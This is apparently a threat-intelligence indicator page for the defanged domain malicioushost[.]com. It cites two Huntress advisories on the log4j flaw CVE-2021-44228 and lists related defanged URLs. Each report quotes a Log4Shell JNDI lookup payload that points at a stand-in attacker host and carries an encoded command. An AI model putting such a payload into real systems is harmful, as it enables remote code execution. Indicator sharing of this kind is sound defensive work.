malicioushost[.]comDomain
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 4 years ago
What the reports say
2 reports, newest first · the exact sentence from each-
Critical RCE Vulnerability Updates (log4j - CVE-2021-44228)“${jndi:ldap://MALICIOUSHOST[.]COM:PORT/Basic/Command/Base64/LoNGeNcoDeDcOmMaNd”
-
Critical RCE Vulnerability: log4j - CVE-2021-44228“${jndi:ldap://MALICIOUSHOST[.]COM:PORT/Basic/Command/Base64/LoNGeNcoDeDcOmMaNd”
Indicators reported together
named in the same reports- hxxps://logging.apache[.]org/log4j/2.x/in 2 reports
- maliciousexternalhost[.]comin 2 reports
- hxxps://github[.]com/YfryTchsGD/Log4jAttackSurfacein 2 reports
- hxxps://logging.apache[.]org/log4j/2.x/release-notes.html#a2.17.0in 1 report
- hxxps://logging.apache[.]org/log4j/2.x/release-notes.html#a2.16.0in 1 report
- hxxps://logging.apache[.]org/log4j/2.x/security.html#a2.17.0in 1 report
- hxxps://logging.apache[.]org/log4j/2.x/security.html#a2.16.0in 1 report
Copy these 7 indicators · defanged
Also named with it: CVE-2021-44228, CVE-2021-45105
Thanks — we review every report.